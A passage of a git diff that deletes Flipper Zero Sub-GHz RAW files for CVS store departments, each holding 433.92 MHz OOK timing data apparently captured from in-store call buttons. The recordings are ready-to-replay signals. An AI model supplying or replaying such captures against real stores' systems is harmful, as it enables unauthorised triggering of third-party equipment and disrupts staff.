1548 -744 1580 -744 1548 -740 1584 -744 1544 -740 1588 -740 1544 -744 1584 -744 1544 -748 1580 -740 1552 -744 1584 -1508 780 -744 1576 -1504 784 -1504 828 -1504 780 -748 1580 -1504 784 -744 1576 -1508 788 -1504 824 -1508 780 -740 1588 -1500 788 -744 1584 -1500 788 -740 1580 -4588 788 -752 1552 -1520 788 -748 1556 -1520 -RAW_Data: 828 -740 1548 -744 1584 -744 1540 -748 1580 -744 1548 -740 1588 -740 1548 -740 1584 -744 1544 -740 1588 -736 1552 -736 1592 -740 1544 -744 1588 -736 1548 -744 1584 -740 1548 -736 1588 -744 1548 -740 1588 -1500 788 -736 1584 -1504 780 -1504 824 -1508 780 -740 1588 -1504 784 -740 1580 -1504 784 -1504 820 -1508 784 -744 1580 -1508 780 -740 1584 -1504 784 -740 1576 -4588 788 -748 1556 -1516 788 -752 1552 -1516 832 -740 1544 -744 1580 -748 1544 -740 1588 -740 1540 -748 1584 -736 1548 -744 1584 -744 1544 -744 1584 -740 1552 -736 1588 -736 1548 -740 1584 -744 1548 -740 1584 -740 1548 -740 1584 -740 1548 -740 1588 -1504 784 -740 1580 -1504 784 -1504 828 -1504 784 -740 1584 -1504 784 -740 1580 -1508 780 -1504 828 -1508 780 -744 1584 -1504 784 -744 1580 -1508 776 -748 1576 -4588 784 -752 1552 -1524 780 -756 1552 -1520 824 -748 1540 -748 1576 -752 1536 -752 1572 -756 1532 -760 1564 -760 1528 -760 1564 -760 1528 -760 1564 -760 1528 -760 1564 -760 1528 -760 1564 -764 1524 -760 1568 -760 1528 -760 1564 -764 1524 -764 1568 -1524 760 -764 1556 -1528 760 -1524 804 -1528 760 -764 1560 -1532 756 -764 1548 -1568 716 -15964 -RAW_Data: 712 -788 1524 -1536 812 -756 1532 -756 1568 -760 1528 -760 1568 -756 1532 -756 1572 -756 1528 -760 1568 -760 1532 -756 1568 -760 1528 -760 1564 -760 1528 -760 1568 -756 1532 -756 1568 -756 1528 -760 1568 -760 1528 -756 1572 -1520 764 -760 1564 -1520 764 -1520 812 -1520 764 -760 1568 -1520 764 -764 1560 -1520 768 -1520 808 -1520 768 -760 1568 -1520 768 -756 1568 -1520 768 -756 1544 -15724 diff --git a/assets/resources/subghz/Stores/CVS/Recordable_Media_Department.sub b/assets/resources/subghz/Stores/CVS/Recordable_Media_Department.sub deleted file mode 100644 index 73cd2f7ad..000000000 --- a/assets/resources/subghz/Stores/CVS/Recordable_Media_Department.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -740 1564 -1512 788 -748 1556 -1512 832 -740 1540 -748 1580 -740 1548 -740 1584 -740 1548 -744 1584 -736 1552 -736 1588 -740 1544 -736 1588 -744 1544 -740 1588 -736 1552 -736 1584 -744 1540 -744 1588 -740 1548 -736 1588 -740 1544 -740 1584 -1504 784 -1504 824 -1504 784 -740 1576 -1508 780 -1504 828 -1504 784 -740 1584 -1504 784 -736 1584 -1504 780 -1504 824 -1504 780 -1508 820 -1504 784 -1500 824 -4588 788 -748 1560 -1512 788 -748 1560 -1512 828 -744 1544 -740 1588 -740 1544 -744 1588 -740 1548 -740 1584 -744 1548 -740 1588 -740 1548 -736 1588 -744 1544 -744 1584 -740 1548 -740 1588 -736 1552 -744 1580 -744 1548 -740 1584 -744 1544 -748 1584 -1496 788 -1504 828 -1500 788 -736 1584 -1504 780 -1508 828 -1504 784 -740 1580 -1508 788 -736 1584 -1504 780 -1508 820 -1504 788 -1500 824 -1500 784 -1504 824 -4580 792 -748 1560 -1512 792 -744 1564 -1512 828 -744 1544 -740 1588 -740 1548 -740 1584 -744 1544 -744 1584 -744 1548 -732 1592 -740 1544 -748 1584 -740 1544 -740 1588 -736 1552 -740 1584 -744 1544 -740 1588 -740 1548 -736 1588 -740 1548 -744 1584 -1504 784 -1500 828 -1504 784 -740 1584 -1504 780 -1508 824 -1504 784 -740 1588 -1504 784 -740 1580 -1504 784 -1504 820 -1504 788 -1500 824 -1504 780 -1504 824 -4588 792 -744 1552 -1524 784 -752 1556 -1516 828 -740 1552 -736 1588 -744 1548 -740 1588 -736 1548 -740 1584 -748 1544 -740 1588 -740 1552 -736 1588 -736 1552 -740 1588 -740 1544 -744 1584 -740 1548 -740 1584 -744 1548 -740 1588 -736 1552 -736 1588 -1508 784 -1500 832 -1500 784 -744 1580 -1500 792 -1500 824 -1508 788 -736 1588 -1504 780 -744 1576 -1508 788 -1500 824 -1504 784 -1508 820 -1504 780 -1508 820 -4588 792 -740 1560 -1516 792 -748 1556 -1516 828 -740 1548 -744 1584 -740 1548 -744 1584 -740 1548 -740 1588 -736 1548 -744 1588 -740 1548 -744 1584 -740 1548 -740 1584 -740 1548 -740 1588 -740 1548 -740 1588 -736 1552 -736 1584 -744 1548 -744 1580 -1504 784 -1500 832 -1500 788 -740 1580 -1504 788 -1496 832 -1504 780 -740 1592 -1500 784 -740 1580 -1508 776 -1508 824 -1500 784 -1508 820 -1504 784 -1500 828 -4588 784 -748 1560 -1516 788 -744 1564 -1512 832 -736 1548 -744 1584 -744 1548 -740 1584 -740 1548 -744 1580 -748 1544 -740 1588 -744 1544 -740 1588 -736 1552 -740 1584 -744 1548 -740 1588 -740 1548 -736 1588 -740 1548 -744 1584 -740 1548 -740 1584 -1504 784 -1504 828 -1504 784 -740 1580 -1508 780 -1508 828 -1500 784 -736 1592 -1504 784 -740 1580 -1504 788 -1500 820 -1504 784 -1504 824 -1504 784 -1504 820 -4592 788 -744 1560 -1520 784 -752 1556 -1520 -RAW_Data: 828 -740 1548 -740 1584 -744 1548 -740 1588 -740 1548 -736 1592 -740 1548 -740 1588 -740 1548 -744 1584 -740 1552 -736 1588 -740 1552 -740 1592 -736 1548 -740 1588 -740 1548 -740 1588 -744 1548 -740 1588 -1500 784 -1508 824 -1504 788 -740 1580 -1500 788 -1504 828 -1500 788 -740 1588 -1500 788 -736 1584 -1508 776 -1508 820 -1504 784 -1500 824 -1508 780 -1508 820 -4588 788 -748 1560 -1516 788 -744 1560 -1516 832 -740 1548 -740 1588 -744 1544 -740 1588 -736 1552 -740 1588 -736 1548 -748 1580 -748 1544 -744 1588 -736 1548 -740 1588 -740 1552 -740 1584 -740 1552 -740 1584 -744 1548 -740 1588 -736 1552 -736 1588 -1504 784 -1504 828 -1504 784 -740 1584 -1508 780 -1504 832 -1496 788 -740 1588 -1504 780 -740 1584 -1500 784 -1508 820 -1500 788 -1500 828 -1504 780 -1504 824 -4584 792 -744 1560 -1516 792 -740 1564 -1512 832 -736 1552 -744 1584 -744 1544 -740 1588 -736 1552 -740 1588 -740 1548 -744 1584 -740 1552 -740 1584 -744 1548 -740 1588 -740 1544 -748 1580 -744 1548 -740 1584 -740 1552 -736 1588 -740 1548 -740 1584 -1508 780 -1504 828 -1508 780 -744 1580 -1504 780 -1504 832 -1500 784 -740 1588 -1500 784 -744 1580 -1504 780 -1504 824 -1500 788 -1504 824 -1504 780 -1508 820 -4584 792 -748 1560 -1512 792 -748 1556 -1512 832 -744 1544 -744 1584 -740 1552 -736 1588 -740 1548 -740 1588 -744 1544 -744 1584 -744 1548 -736 1592 -736 1552 -740 1584 -744 1544 -744 1584 -744 1548 -740 1584 -740 1548 -740 1588 -740 1548 -740 1584 -1504 784 -1504 832 -1504 780 -744 1580 -1504 784 -1508 824 -1508 780 -744 1584 -1508 780 -744 1576 -1504 784 -1504 828 -1500 784 -1508 820 -1504 784 -1504 800 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Skin_Care_Department.sub b/assets/resources/subghz/Stores/CVS/Skin_Care_Department.sub deleted file mode 100644 index 94a9116d2..000000000 --- a/assets/resources/subghz/Stores/CVS/Skin_Care_Department.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -744 1556 -1520 784 -748 1556 -1520 820 -744 1544 -744 1580 -744 1544 -740 1584 -744 1544 -744 1584 -744 1544 -744 1580 -744 1544 -740 1580 -744 1544 -744 1584 -744 1544 -744 1584 -740 1548 -744 1584 -744 1544 -740 1584 -744 1544 -744 1584 -1508 784 -740 1576 -1508 780 -1508 816 -1508 780 -1504 828 -1504 780 -748 1580 -1508 780 -740 1580 -1508 780 -1508 824 -1508 780 -744 1584 -1504 780 -748 1576 -4588 792 -748 1556 -1524 784 -752 1552 -1520 824 -740 1552 -740 1584 -744 1544 -748 1584 -740 1548 -744 1584 -740 1548 -744 1580 -744 1544 -744 1584 -740 1544 -748 1572 -760 1540 -744 1584 -740 1548 -744 1580 -744 1548 -740 1584 -740 1548 -736 1592 -1504 780 -748 1580 -1504 784 -1504 820 -1508 780 -1508 824 -1504 780 -744 1588 -1504 784 -744 1576 -1508 780 -1508 828 -1500 784 -744 1580 -1508 784 -740 1576 -4588 792 -744 1556 -1524 784 -748 1560 -1516 828 -744 1544 -740 1584 -740 1548 -740 1584 -744 1544 -748 1580 -744 1548 -736 1584 -744 1532 -752 1588 -772 1504 -764 1564 -760 1528 -760 1564 -760 1528 -760 1568 -760 1528 -760 1564 -764 1524 -760 1572 -1524 764 -760 1560 -1528 764 -1520 804 -1524 764 -1524 804 -1524 764 -760 1568 -1524 764 -760 1560 -1528 764 -1520 808 -1528 764 -760 1564 -1524 768 -760 1560 -4612 764 -768 1540 -1536 768 -764 1540 -1540 804 -764 1524 -764 1564 -760 1532 -760 1564 -760 1528 -760 1568 -764 1524 -760 1568 -764 1524 -760 1568 -764 1520 -760 1568 -760 1528 -760 1564 -760 1528 -764 1560 -768 1516 -776 1552 -780 1504 -788 1540 -1572 716 -828 1488 -1744 544 -15924 -RAW_Data: 748 -1556 732 -1548 784 -1544 748 -772 1556 -1532 756 -768 1556 -1524 764 -1524 808 -1524 764 -760 1568 -1516 772 -756 1560 -4604 776 -764 1540 -1536 772 -764 1540 -1536 812 -756 1532 -764 1564 -760 1528 -764 1568 -760 1528 -760 1568 -760 1524 -764 1564 -760 1532 -760 1568 -760 1528 -760 1568 -760 1528 -760 1564 -764 1528 -756 1572 -756 1532 -756 1568 -756 1532 -760 1568 -1524 764 -764 1560 -1520 768 -1520 808 -1520 764 -1524 808 -1524 764 -760 1568 -1524 764 -760 1560 -1524 768 -1520 808 -1520 768 -760 1568 -1524 768 -756 1564 -4608 772 -768 1536 -1536 772 -768 1540 -1532 812 -760 1528 -760 1568 -764 1528 -760 1568 -760 1528 -760 1568 -760 1532 -760 1568 -760 1528 -764 1568 -760 1532 -760 1568 -760 1528 -760 1568 -760 1532 -760 1568 -760 1528 -760 1568 -760 1532 -760 1572 -1520 768 -760 1560 -1524 764 -1524 804 -1524 764 -1524 808 -1524 764 -760 1568 -1524 764 -760 1564 -1524 764 -1520 812 -1524 764 -760 1568 -1524 764 -760 1564 -4604 772 -768 1536 -1536 768 -768 1540 -1536 812 -760 1528 -760 1568 -760 1528 -760 1568 -764 1528 -756 1572 -756 1532 -760 1568 -760 1528 -760 1568 -760 1528 -764 1564 -760 1532 -760 1564 -764 1524 -764 1564 -760 1532 -760 1564 -760 1532 -760 1568 -1524 768 -756 1564 -1524 764 -1524 804 -1524 764 -1524 808 -1524 768 -756 1572 -1520 768 -760 1564 -1520 764 -1524 808 -1524 768 -760 1564 -1524 764 -760 1560 -4612 768 -768 1540 -1532 772 -768 1540 -1536 808 -760 1528 -760 1568 -760 1528 -760 1568 -760 1528 -760 1564 -764 1528 -760 1568 -760 1528 -760 1568 -760 1528 -760 1568 -760 1528 -760 1568 -760 1528 -760 1568 -760 1532 -756 1568 -764 1528 -760 1568 -1524 764 -764 1560 -1524 764 -1524 804 -1524 764 -1524 808 -1524 764 -760 1568 -1524 768 -760 1560 -1524 764 -1524 808 -1524 764 -764 1564 -1524 768 -760 1560 -4604 772 -768 1540 -1532 776 -764 1540 -1532 812 -760 1532 -760 1564 -760 1532 -760 1568 -756 1528 -764 1564 -760 1528 -764 1564 -760 1528 -760 1568 -760 1528 -760 1568 -760 1528 -760 1568 -756 1532 -760 1568 -760 1528 -760 1568 -760 1532 -760 1568 -1524 764 -764 1560 -1524 764 -1524 804 -1524 764 -1524 808 -1524 764 -760 1568 -1524 764 -760 1564 -1524 764 -1520 812 -1520 768 -760 1568 -1520 768 -760 1540 -15724 diff --git a/assets/resources/subghz/Stores/CVS/Small_Appliances.sub b/assets/resources/subghz/Stores/CVS/Small_Appliances.sub deleted file mode 100644 index 13cf9e8ad..000000000 --- a/assets/resources/subghz/Stores/CVS/Small_Appliances.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -744 1564 -1508 792 -748 1556 -1508 828 -744 1544 -740 1588 -740 1548 -740 1584 -740 1548 -740 1584 -740 1548 -744 1584 -740 1544 -740 1588 -744 1540 -740 1588 -740 1544 -740 1588 -744 1544 -740 1588 -736 1548 -740 1588 -740 1544 -740 1592 -1500 784 -740 1580 -1508 780 -1500 828 -1508 784 -740 1576 -1508 780 -1500 824 -1504 784 -1500 828 -1504 784 -740 1588 -1500 784 -740 1584 -1504 780 -744 1580 -4580 792 -748 1556 -1516 792 -748 1556 -1512 832 -740 1548 -740 1584 -740 1548 -740 1584 -740 1552 -732 1588 -744 1548 -736 1588 -740 1548 -744 1584 -736 1548 -740 1584 -744 1548 -740 1584 -744 1544 -740 1588 -744 1544 -744 1584 -740 1544 -744 1588 -1504 784 -740 1580 -1504 784 -1504 824 -1504 788 -736 1584 -1500 784 -1504 824 -1500 780 -1512 824 -1500 784 -744 1584 -1504 784 -744 1584 -1504 780 -744 1580 -4588 788 -744 1564 -1516 788 -744 1560 -1512 832 -740 1548 -744 1580 -748 1544 -740 1588 -740 1544 -748 1584 -736 1552 -740 1584 -744 1544 -740 1588 -744 1544 -744 1580 -744 1548 -744 1584 -740 1548 -740 1584 -744 1544 -740 1588 -744 1544 -740 1592 -1500 788 -744 1576 -1508 784 -1504 824 -1504 788 -736 1584 -1504 784 -1500 828 -1504 784 -1496 832 -1504 788 -740 1580 -1508 784 -744 1584 -1500 784 -744 1572 -4596 788 -744 1560 -1512 792 -748 1556 -1516 828 -740 1548 -740 1584 -744 1548 -740 1584 -740 1548 -740 1588 -740 1544 -744 1588 -740 1548 -736 1588 -740 1548 -740 1588 -740 1548 -740 1588 -744 1544 -744 1584 -740 1548 -740 1588 -740 1548 -744 1588 -1508 784 -736 1584 -1504 780 -1504 828 -1504 784 -740 1584 -1504 784 -1504 828 -1500 784 -1504 828 -1500 788 -740 1588 -1504 784 -740 1588 -1504 784 -740 1580 -4588 792 -744 1560 -1516 792 -744 1560 -1512 832 -744 1540 -744 1588 -736 1552 -744 1584 -740 1548 -744 1584 -740 1548 -740 1592 -736 1544 -748 1580 -748 1540 -744 1584 -744 1548 -736 1592 -740 1548 -740 1584 -744 1548 -740 1588 -740 1548 -736 1592 -1504 780 -748 1576 -1508 784 -1504 824 -1504 784 -740 1580 -1508 780 -1504 824 -1500 784 -1504 828 -1504 784 -740 1584 -1508 784 -740 1588 -1500 784 -744 1580 -4588 788 -748 1560 -1512 792 -744 1560 -1516 828 -744 1544 -744 1588 -736 1552 -736 1588 -744 1544 -740 1584 -744 1548 -740 1588 -736 1552 -736 1588 -740 1544 -748 1580 -744 1548 -740 1584 -740 1548 -744 1580 -744 1544 -740 1588 -740 1548 -740 1584 -1508 784 -740 1580 -1504 788 -1500 828 -1504 784 -748 1568 -1508 784 -1504 824 -1500 784 -1504 824 -1508 780 -740 1588 -1500 784 -744 1580 -1504 784 -740 1580 -4592 788 -748 1556 -1516 788 -752 1552 -1520 -RAW_Data: 828 -740 1548 -740 1588 -740 1548 -740 1584 -744 1540 -748 1584 -744 1548 -736 1584 -740 1552 -740 1584 -744 1544 -744 1584 -744 1544 -744 1584 -740 1548 -736 1592 -740 1552 -740 1580 -744 1544 -748 1588 -1500 784 -744 1580 -1500 788 -1504 828 -1500 784 -740 1584 -1504 784 -1500 820 -1508 784 -1504 824 -1508 784 -740 1584 -1504 784 -744 1580 -1508 784 -740 1580 -4592 784 -748 1560 -1512 792 -748 1556 -1516 832 -744 1544 -744 1584 -740 1548 -744 1584 -740 1548 -740 1588 -740 1552 -736 1592 -740 1544 -744 1584 -744 1544 -744 1584 -740 1548 -740 1592 -736 1552 -740 1584 -744 1544 -740 1588 -744 1544 -736 1596 -1500 784 -744 1576 -1508 784 -1504 828 -1504 780 -744 1580 -1504 784 -1504 824 -1504 780 -1508 828 -1500 784 -740 1588 -1504 784 -740 1588 -1504 780 -744 1576 -4592 788 -748 1560 -1512 792 -748 1560 -1512 832 -740 1548 -740 1584 -744 1548 -740 1588 -736 1548 -740 1588 -740 1548 -740 1588 -740 1548 -736 1592 -740 1548 -740 1584 -744 1548 -740 1592 -740 1548 -736 1588 -744 1548 -740 1588 -736 1552 -740 1588 -1508 784 -740 1580 -1504 784 -1504 828 -1508 780 -740 1580 -1504 784 -1504 824 -1504 784 -1504 828 -1504 784 -740 1584 -1504 784 -744 1584 -1504 784 -740 1584 -4584 792 -744 1564 -1512 788 -748 1556 -1512 836 -740 1548 -740 1584 -740 1548 -744 1584 -744 1544 -740 1588 -740 1548 -744 1580 -744 1548 -740 1588 -736 1552 -740 1584 -744 1544 -744 1584 -740 1552 -736 1588 -744 1548 -744 1584 -744 1544 -740 1588 -1504 784 -740 1580 -1504 784 -1500 828 -1504 784 -740 1580 -1504 788 -1500 824 -1504 780 -1508 828 -1504 784 -740 1588 -1504 784 -744 1580 -1508 788 -736 1560 -15964 diff --git a/assets/resources/subghz/Stores/CVS/Special_Ding.sub b/assets/resources/subghz/Stores/CVS/Special_Ding.sub deleted file mode 100644 index 41ca3c867..000000000 --- a/assets/resources/subghz/Stores/CVS/Special_Ding.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -744 1556 -1516 792 -748 1556 -1516 828 -740 1544 -740 1584 -744 1540 -740 1592 -736 1544 -740 1588 -740 1548 -740 1580 -744 1548 -736 1588 -740 1548 -740 1588 -736 1552 -740 1580 -744 1548 -740 1584 -740 1544 -744 1584 -740 1552 -736 1588 -1500 788 -740 1580 -1504 780 -1500 832 -1504 784 -736 1588 -1504 784 -736 1588 -1508 780 -740 1588 -1504 780 -740 1588 -1504 780 -740 1588 -1504 780 -740 1584 -4588 788 -740 1564 -1516 792 -740 1560 -1516 828 -744 1540 -744 1584 -740 1548 -740 1588 -740 1544 -740 1588 -744 1544 -744 1584 -740 1548 -740 1584 -740 1548 -740 1580 -744 1552 -740 1580 -740 1552 -736 1588 -744 1544 -740 1584 -740 1548 -736 1596 -1504 780 -744 1580 -1500 784 -1500 828 -1508 780 -740 1588 -1504 784 -740 1580 -1508 784 -740 1584 -1504 784 -740 1584 -1504 784 -740 1584 -1504 784 -740 1580 -4588 784 -748 1560 -1512 792 -748 1556 -1512 828 -740 1548 -744 1580 -744 1548 -740 1584 -736 1552 -740 1584 -740 1548 -744 1584 -740 1548 -740 1584 -740 1548 -740 1588 -740 1544 -740 1592 -740 1544 -740 1588 -740 1544 -740 1588 -744 1544 -740 1588 -1500 784 -740 1580 -1504 788 -1500 828 -1504 780 -740 1588 -1500 784 -740 1588 -1504 780 -740 1588 -1504 784 -736 1588 -1504 784 -740 1588 -1508 780 -740 1584 -4584 788 -748 1560 -1516 788 -748 1560 -1512 828 -740 1552 -740 1588 -736 1552 -736 1588 -740 1548 -740 1584 -744 1544 -740 1580 -740 1552 -740 1584 -740 1548 -740 1584 -740 1548 -736 1588 -744 1544 -740 1584 -744 1548 -740 1580 -740 1548 -744 1584 -1508 784 -740 1576 -1504 788 -1500 824 -1508 784 -736 1588 -1504 784 -740 1584 -1504 784 -736 1588 -1500 788 -736 1584 -1504 788 -736 1584 -1500 788 -740 1576 -4588 788 -748 1556 -1516 784 -756 1552 -1512 832 -740 1548 -744 1580 -744 1548 -740 1580 -740 1552 -740 1584 -740 1548 -740 1584 -740 1548 -740 1588 -736 1548 -736 1592 -740 1548 -740 1584 -740 1548 -740 1584 -736 1552 -740 1584 -736 1552 -740 1588 -1504 784 -740 1580 -1500 784 -1504 828 -1500 788 -740 1584 -1504 784 -744 1580 -1500 792 -740 1580 -1504 784 -744 1580 -1508 784 -740 1584 -1500 788 -740 1580 -4588 788 -744 1560 -1516 784 -748 1560 -1512 832 -744 1544 -740 1588 -736 1552 -740 1584 -744 1548 -740 1588 -740 1548 -740 1584 -744 1544 -740 1584 -744 1548 -740 1584 -744 1548 -740 1584 -736 1556 -740 1580 -740 1552 -740 1584 -740 1552 -740 1588 -1504 784 -744 1584 -1500 784 -1508 824 -1504 784 -740 1588 -1500 784 -744 1588 -1500 784 -740 1588 -1500 784 -740 1588 -1504 788 -740 1584 -1504 788 -740 1576 -4588 792 -748 1556 -1516 788 -748 1564 -1512 -RAW_Data: 828 -740 1548 -740 1592 -740 1544 -740 1588 -740 1548 -744 1584 -744 1544 -736 1592 -740 1548 -740 1588 -740 1544 -744 1584 -744 1544 -744 1588 -736 1548 -744 1588 -740 1548 -740 1588 -744 1544 -740 1592 -1504 784 -740 1584 -1504 784 -1504 828 -1504 784 -744 1588 -1504 784 -740 1588 -1504 784 -740 1588 -1504 788 -740 1588 -1504 784 -744 1584 -1504 784 -740 1584 -4588 788 -748 1560 -1516 792 -744 1564 -1512 832 -740 1552 -740 1588 -740 1548 -740 1592 -736 1548 -744 1588 -744 1544 -740 1588 -744 1544 -740 1592 -740 1544 -744 1588 -744 1540 -744 1588 -744 1544 -744 1588 -736 1548 -744 1588 -740 1548 -744 1588 -1504 788 -740 1580 -1504 788 -1500 832 -1504 780 -740 1592 -1504 784 -744 1584 -1504 788 -740 1584 -1508 784 -740 1592 -1504 784 -736 1592 -1500 788 -740 1584 -4592 788 -744 1560 -1516 796 -744 1556 -1516 836 -736 1548 -740 1588 -740 1552 -740 1588 -740 1544 -744 1588 -740 1548 -740 1588 -740 1556 -740 1584 -736 1552 -744 1584 -740 1552 -740 1588 -736 1556 -736 1584 -740 1552 -740 1584 -740 1552 -740 1588 -1508 784 -736 1584 -1504 784 -1504 828 -1504 784 -740 1588 -1504 784 -740 1588 -1504 784 -740 1588 -1500 792 -740 1584 -1504 784 -744 1584 -1504 784 -740 1580 -4592 792 -740 1560 -1512 796 -744 1560 -1512 836 -744 1544 -740 1584 -740 1548 -740 1588 -748 1544 -740 1588 -736 1552 -740 1584 -740 1552 -740 1584 -744 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1552 -740 1588 -740 1548 -740 1592 -1504 784 -744 1580 -1508 780 -1504 832 -1500 788 -740 1588 -1500 788 -744 1580 -1508 788 -744 1584 -1504 784 -740 1592 -1500 788 -744 1584 -1504 788 -740 1560 -15964 diff --git a/assets/resources/subghz/Stores/CVS/Stationery.sub b/assets/resources/subghz/Stores/CVS/Stationery.sub deleted file mode 100644 index f51a91105..000000000 --- a/assets/resources/subghz/Stores/CVS/Stationery.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -744 1560 -1512 788 -748 1560 -1512 828 -740 1548 -740 1584 -736 1552 -740 1584 -744 1548 -736 1584 -740 1548 -744 1584 -740 1548 -740 1584 -740 1544 -740 1588 -740 1548 -740 1584 -740 1548 -740 1584 -740 1548 -740 1584 -740 1548 -744 1580 -1504 784 -1500 824 -1508 780 -1504 828 -1504 780 -740 1584 -1508 784 -740 1584 -1504 784 -740 1584 -1500 784 -1504 828 -1508 776 -744 1588 -1500 788 -744 1576 -4588 784 -752 1556 -1512 792 -748 1556 -1520 828 -740 1548 -736 1588 -736 1552 -740 1584 -744 1544 -740 1588 -740 1548 -740 1584 -740 1544 -740 1592 -740 1544 -740 1584 -744 1544 -744 1584 -744 1544 -740 1584 -740 1548 -740 1584 -740 1548 -740 1584 -1504 784 -1500 824 -1504 784 -1500 828 -1508 780 -744 1584 -1500 788 -740 1584 -1508 776 -744 1580 -1504 784 -1504 828 -1496 788 -740 1584 -1504 784 -736 1584 -4584 792 -744 1560 -1516 792 -740 1564 -1516 828 -740 1548 -740 1584 -740 1548 -740 1588 -744 1544 -744 1584 -740 1544 -744 1588 -736 1548 -740 1588 -740 1548 -736 1588 -740 1548 -744 1580 -748 1544 -744 1580 -744 1548 -744 1584 -740 1548 -740 1588 -1504 784 -1504 820 -1504 784 -1500 832 -1504 784 -740 1588 -1500 788 -740 1588 -1504 784 -740 1580 -1504 784 -1500 828 -1504 784 -740 1588 -1500 788 -736 1584 -4584 792 -748 1560 -1512 792 -748 1556 -1512 832 -744 1544 -744 1584 -744 1544 -740 1584 -740 1548 -740 1588 -740 1548 -740 1588 -740 1544 -744 1588 -740 1544 -744 1584 -744 1544 -744 1584 -744 1544 -744 1584 -740 1548 -736 1592 -736 1548 -740 1588 -1500 788 -1500 824 -1504 776 -1508 824 -1500 788 -740 1588 -1504 784 -740 1584 -1508 780 -740 1584 -1504 784 -1500 832 -1504 780 -744 1584 -1504 784 -740 1576 -4584 792 -752 1556 -1512 792 -748 1560 -1516 824 -748 1544 -744 1584 -740 1552 -736 1584 -744 1548 -740 1584 -744 1544 -744 1588 -744 1544 -744 1588 -736 1548 -740 1588 -736 1552 -740 1588 -740 1548 -740 1588 -740 1548 -744 1584 -740 1548 -744 1584 -1504 784 -1504 820 -1508 780 -1508 824 -1500 788 -744 1584 -1500 784 -740 1588 -1504 780 -744 1580 -1508 776 -1512 828 -1496 788 -740 1588 -1504 784 -740 1580 -4588 788 -752 1556 -1512 792 -748 1552 -1520 828 -744 1544 -740 1588 -740 1548 -740 1588 -736 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -744 1584 -744 1548 -744 1584 -740 1552 -736 1588 -740 1552 -736 1588 -740 1552 -736 1588 -1508 780 -1508 820 -1504 784 -1504 828 -1504 784 -744 1580 -1504 788 -740 1588 -1496 792 -736 1584 -1504 784 -1504 824 -1504 784 -744 1584 -1504 784 -740 1580 -4588 796 -740 1568 -1512 792 -744 1560 -1512 -RAW_Data: 828 -748 1544 -744 1584 -744 1544 -744 1584 -744 1548 -740 1588 -736 1548 -748 1580 -740 1548 -744 1580 -744 1548 -740 1588 -740 1548 -740 1588 -740 1544 -748 1580 -744 1548 -744 1580 -744 1548 -740 1584 -1504 784 -1500 828 -1500 788 -1500 828 -1504 784 -744 1580 -1504 784 -740 1588 -1504 788 -736 1584 -1500 784 -1508 824 -1504 784 -744 1584 -1504 784 -740 1584 -4588 788 -744 1564 -1512 792 -740 1568 -1512 832 -740 1544 -740 1588 -740 1544 -744 1588 -740 1548 -740 1588 -744 1544 -740 1588 -740 1548 -740 1584 -744 1544 -740 1584 -744 1544 -744 1588 -736 1548 -744 1584 -744 1544 -740 1588 -740 1548 -740 1584 -1504 784 -1500 828 -1504 780 -1508 824 -1504 784 -740 1592 -1500 784 -740 1588 -1504 780 -744 1580 -1508 780 -1504 828 -1504 788 -736 1588 -1504 784 -736 1584 -4588 792 -744 1560 -1512 792 -748 1560 -1512 832 -740 1548 -740 1588 -740 1548 -740 1584 -744 1544 -744 1584 -740 1548 -744 1584 -744 1548 -740 1584 -740 1552 -740 1584 -740 1552 -736 1592 -736 1548 -740 1588 -740 1548 -740 1584 -740 1548 -740 1588 -1504 784 -1504 820 -1504 780 -1504 828 -1504 784 -740 1588 -1500 788 -740 1584 -1508 780 -740 1588 -1496 784 -1504 828 -1504 784 -740 1588 -1500 788 -740 1576 -4592 784 -752 1560 -1516 792 -744 1560 -1516 832 -736 1552 -740 1584 -736 1552 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -744 1544 -744 1584 -740 1548 -744 1588 -740 1548 -740 1588 -740 1548 -744 1588 -736 1552 -736 1588 -740 1548 -744 1580 -1508 784 -1504 820 -1508 780 -1504 832 -1500 784 -740 1584 -1508 780 -744 1584 -1504 784 -744 1580 -1504 784 -1500 832 -1500 788 -736 1588 -1504 784 -736 1564 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Stomach_Remedies.sub b/assets/resources/subghz/Stores/CVS/Stomach_Remedies.sub deleted file mode 100644 index 9c5630297..000000000 --- a/assets/resources/subghz/Stores/CVS/Stomach_Remedies.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -748 1560 -1516 788 -748 1548 -1516 828 -740 1548 -740 1584 -740 1548 -744 1576 -744 1544 -740 1588 -736 1544 -748 1580 -744 1540 -748 1580 -744 1544 -740 1588 -740 1548 -740 1584 -744 1544 -740 1584 -744 1548 -744 1580 -744 1544 -740 1588 -1504 784 -740 1584 -1504 784 -740 1580 -1508 776 -1504 824 -1504 780 -1504 824 -1508 776 -1504 824 -1508 780 -744 1580 -1508 780 -744 1584 -1508 784 -740 1576 -4588 792 -748 1556 -1516 788 -752 1556 -1516 828 -740 1548 -744 1580 -744 1544 -744 1584 -740 1548 -744 1584 -740 1548 -744 1584 -740 1544 -748 1584 -740 1548 -740 1584 -748 1544 -740 1584 -748 1544 